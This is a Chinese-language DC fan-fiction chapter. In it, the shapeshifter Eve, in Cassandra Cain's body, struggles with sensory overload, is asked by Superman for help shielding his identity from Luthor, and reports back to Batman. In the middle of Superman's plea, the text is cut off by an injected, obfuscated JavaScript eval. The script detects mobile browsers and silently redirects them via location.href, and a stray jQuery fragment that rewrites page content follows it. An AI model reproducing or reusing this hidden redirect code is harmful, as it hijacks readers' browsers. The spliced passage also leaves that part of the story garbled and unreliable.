这还是伊芙第一次变成卡珊德拉，她俩的体型从外在看差不多，但感觉……很怪，非常非常怪。


    因为卡斯是亚洲人？不对……伊芙的手放在卡斯手上，视线几乎没法从卡斯身上移开，同时又像是震荡般不断无法固定。卡斯的面颊在全黑面罩下的细微变化，胸膛呼吸的起伏，站立的姿势，手指的移动……伊芙的眼珠越转越快，脑子嗡嗡作响、运行迟缓，有点儿像是她用太快的速度翻看旧手机时它的反应。与此同时，当她下意识地张开嘴，舌头却感觉像擀面杖一样僵硬。


    “什……怎……”


    卡斯拽了她一把，另一只手伸向她的眼睛，而伊芙的身体完全超越理智地重心向后维持平衡，同时攻击了卡斯的……左腕某处？卡斯轻巧地躲开了，伊芙挣扎着找回控制身体的感觉时，那只手终于盖上了她的双眼，随即膝盖后方的一击令伊芙坐倒下来。


    “别看。”卡斯托住她的后背，说。


    视线被隔绝后，伊芙喘息了一会儿，总算恢复理智。卡斯的其他感官也非常敏锐，她能感知到现任蝙蝠女的每一丝动静，但并不像视觉那么……过载。


    “不是……”伊芙慢慢地开口，既然卡斯能说话，变成卡斯的她应当也行，只是嘴里的肌肉或许不大熟练——符合她对卡斯沉默寡言的印象。“没有……超能力？”


    “不是超能力。”卡斯回答，她那种一板一眼的说话方式此刻听来更明显了，“训练。大概，每个人，都会。”


    “但是……其他人……”


    “他们没有。”卡斯说，“我父亲。他训练了我。特殊方式。”


    伊芙睁眼前先扭开了脸，看过周围的墙壁、地面的垃圾、前方转角处光芒黯淡的路灯……视线回到卡斯身上时，那种冲击又回来了。是讯息，伊芙开始明白过来，因为她没有卡斯的记忆，不知道它们是什么意思。


    所以卡斯的确能阅读人类，通过……训练？什么样的训练能让人从生理上变成这样？


    “担心。”卡斯拍拍自己胸口的蝙蝠。


    是的……她的呼吸比平时浅，托住伊芙的那只手之间在她后背轻轻摩擦，肩膀紧绷，脖子前倾，在面具下皱眉、抿嘴。卡斯在担心她，这提示就像在伊芙脑中点亮了一小片地图一样。担心。


    “害怕。”卡斯又拍拍她，“没关系。别怕。”


    “没关系？”伊芙磕磕绊绊地说，“这很……吵？”


    “是的。”卡斯微笑，释放出好几种不同的讯号，仍然包括担心，其他的伊芙只能大致分辨出偏向积极或是消极，但它们无疑全都吵得她的脑子不舒服。“习惯了。有用。”


    “特工E乘蝙蝠车返回，今晚的模拟训练到此结束。”方才一直保持沉默的布鲁斯发话了，“蝙蝠女前往市政厅区支援夜翼。神谕会给你坐标。”


    卡斯护送她到蝙蝠车边，然后挥挥手，射出抓钩枪没影了。虽然听不到卡斯那边的通讯，但想也知道今晚的巡逻已经进入了紧张阶段，其他人都在满城打击犯罪，她还是别添乱的好。


    布鲁斯没有进一步指示，伊芙只得转圈儿研究蝙蝠车的门把手在哪儿，好在它自动识别出了卡珊德拉的生物特征。车门将将升起，伊芙正盘算着回去尽量别见到任何人并赶紧睡觉，随即猛然转身。只见一个红蓝身影不紧不慢地从空中降落，红披风在他身后有生命般飘荡，裹挟着又一股令她头晕目眩的信息流，极不协调地立在哥谭的巷子里。


    担心。


    “晚上好。”超人站在礼貌社交距离外朝她点点头，而伊芙还沉浸在“我操，超人”和“外星人也能读吗”的震撼中，“我……路过，听到了一些不寻常的心跳。”


    伊芙点点头，直视超人已经令她很不舒服，可以的话她不想费力气说话。


    “你还好吗？”超人皱起眉毛，不需要卡斯的能力也知道他在担心，“你的心跳……”


    伊芙摇摇头。


    “所以你是人类。”超人脱口而出，然后显得有些不好意思，这使得他肢体动作中变得更加闹哄哄的。无疑，超人的小动作比克拉克?肯特少多了——天晓得，伊芙宁可他再“超人”些。如果她语言能力正常的话，第一反应大概会是“你好像也差不多是人”。


    “复方汤剂，我是说，我之前以为是蝙蝠侠研究的某种新机器人，在找实验品。”超人友好地笑笑，“但你能乘蝙蝠车，就说明你们肯定是一起的。你是新罗宾吗？”


    我像儿童吗？


    “呃，看来不是。”在伊芙匪夷所思的目光中，超人的笑容变淡了一些。布鲁斯一直没发话，不知是切了她这边的通讯，还是在暗中观察，两个都挺有可能的。


    “我认识她，卡珊德拉，她和我儿子是朋友。”超人继续道，可能是伊芙的心跳逐渐平复的缘故，担忧已经几乎看不见了，取而代之的，那副超级身躯涌现的讯息变得更加负面，卡斯的身体不由自主地戒备起来。


    “有，什么，事？”伊芙问。


    “没，呃……我听到一个职业好手的心跳凭空出现，但又立刻紊乱了，担心谁出了事。不过我发现卡珊德拉就在你身边……”超人停顿了一下，“他们的制服都有特殊设计，能屏蔽我的听力，制服完好的情况下我听不见他们的心跳。”


    更负面了，见鬼。不管怎么说，这毕竟是超人，应该不至于揍她一顿。


    “训练。”伊芙说，她的嘴和脑子都开始累了。


    “所以你的能力真的是完全变成另一个人？所有方面都是？”超人问，得到点头答复后又说，“好的，你现在是卡珊德拉，我不会勉强你说太多话。我只是想知道——复方汤剂上的申请是你在看吗？”


    伊芙点头，不过超人似乎无意纠结于一个陌生人知道了他的身份，甚至没要求伊芙变回原形。


    “刚才拒绝我的是你？”


    伊芙点头。


    “是蝙蝠侠的要求？”


    伊芙点头，然后在超人面前汗毛倒竖。


    “部分。”她被迫答道，“我，不会，飞。”


    “好的，嗯……这其实不算太大问题。”超人身上的负面讯息减少了些，老天爷，卡斯到底怎么活下来的？“夜翼暗示我你能变成我的普通人身份，除没有超能力之外和我一模一样。”


    伊芙点头。


    “是这样……我的身份可能快要被发现了。”超人的迫切在她胸腔中激发了一阵揪心，“是卢瑟，他一向不屑于相信我有人类身份，但最近……可能跟我减少参加联盟事务有关，我的两重生活的联系更紧密了，引起了他的注意。总之，他似乎正在不断制造一些我周围的人必须跟超人同时出现的场景，我的邻居和同事可能都在被跟踪，但我证明不了跟他有关。”


    卢瑟目前还仅仅是怀疑超人生活在一定范围内，主要是制造麻烦逼超人出场营救。克拉克?肯特无疑没法自己接住自己，所以他得在卢瑟尝试把肯特从楼顶扔下去之前证明肯特不是超人。


    “我周围的人都处于危险中。”超人的担忧忽地压得伊芙喘不过气，“之前我的身份即将暴露时，蝙蝠侠用全息投影帮过我……我以为这次也是他开发的新技术。我需要帮助，如果你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250601|165093||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    同意的话，我发誓我会尽全力确保你的安全。”


    “我可以，问他。”即使布鲁斯和超人不再是朋友，伊芙也不认为他会对另一个超级英雄的危难视而不见。就算不许她参与，布鲁斯大概也会想其他方法帮忙。


    “好，谢谢你。”超人稍稍轻松了一些，“还有……能帮我转告他吗？我很抱歉，我想说我不知道……但其实没有任何借口，我默许了他们的做法，而且我知道蝙蝠侠肯定不会同意，这就意味着早晚有一天他们会……我输给了我的弱点，做不到像他那样坚守道德界限……就是这样。他一直提防我们是对的，我们并不比其他人高尚。”


    不管他在说什么，他的痛苦对于伊芙来说都是种折磨。伊芙忍不住借着揉眼睛闭眼缓了缓，再看向超人时，他充满存在感地坚定了起来。


    “请转达我的歉意。”


    “对我说，更容易吗？”伊芙慢慢地问，“对他，说过吗？”


    超人的坚决萎缩下去，无声地释放出又一阵负面信号，没有激起卡斯身体的警戒本能，所以应该没有威胁性——不是愤怒。她大概是稍微有点儿掌握规律了。


    “他昨晚挫败了卢瑟的一部分阴谋，我想我们或许可以再合作一次。”他没有正面回答，“其实，我正考虑退出联盟，不再做超人。今后不会再麻烦他了。”


    等等？这是她该听的吗？这好像涉及地球安全吧？


    “有必要的时候我会去大都会，只是为了工作。”布鲁斯在通讯里说，“你不能参与，你已经以我的形象在卢瑟面前出现过，再以他的形象重复这么做会极大增加被盯上的风险。”


    虽然没外放，但超人无疑能听见。太棒了，要是得转述这么一大段话不如死了算了。


    “现在离开哥谭。”


    这生硬粗暴的命令自然也不是给伊芙的，有一瞬间超人明显生气了，但他仅仅是点点头，砰一声升空离开，留下心跳飙升的伊芙自己钻蝙蝠车。


    “他很，难过。”伊芙忍不住试探性地说。


    “蝙蝠女从出生起就接受的训练影响了她感知世界的方式，导致她至今存在语言障碍。”蝙蝠侠无视了她的话，“原理与精神疾病改变大脑结构的方式类似，所以你的能力很可能无法排除精神疾病的影响。今后你探望你母亲的时候，必须打开抑制器。”


    “……如果，我想呢？”蝙蝠车启动了，伊芙靠在椅背上，呼吸着车里清洁剂的味道。不过经由卡斯的感官，她还能闻出一点点芥末味儿，近期肯定有人在车里偷吃汉堡或者热狗了。


    “无论暴露你的能力还是在公共场合失去控制都极其危险。”布鲁斯的语调严厉了些，随即那边传来风声，以及结结实实的击打和两声惨叫，伊芙脑子里出现了若干蝙蝠侠跳下屋顶痛揍罪犯的连环画。


    “你……你是蝙蝠侠！”应该是受害者的声音嚷道，“你真的是真的！”


    “回家去。”布鲁斯冲他隆隆地咆哮。


    那个青少年尖叫：“我可以要个签名吗？！还有合影！我想发到ins上，第一次晚上出门就遇到了蝙蝠侠！哇塞，我朋友肯定不会相信……”


    很难错过蝙蝠侠骤然沉默的那瞬间。


    又一道风声，蝙蝠侠应该是直接消失了。


    “如果你想体验精神病患的第一视角，必须在可控环境进行。”布鲁斯像什么都没发生过一样继续说。


    “我能有吗？”伊芙问，“合影。”


    蝙蝠侠没搭理她，不过周日一早伊芙起床准备去完成猫女的委托时，卧室门口地毯上插着个蝙蝠镖。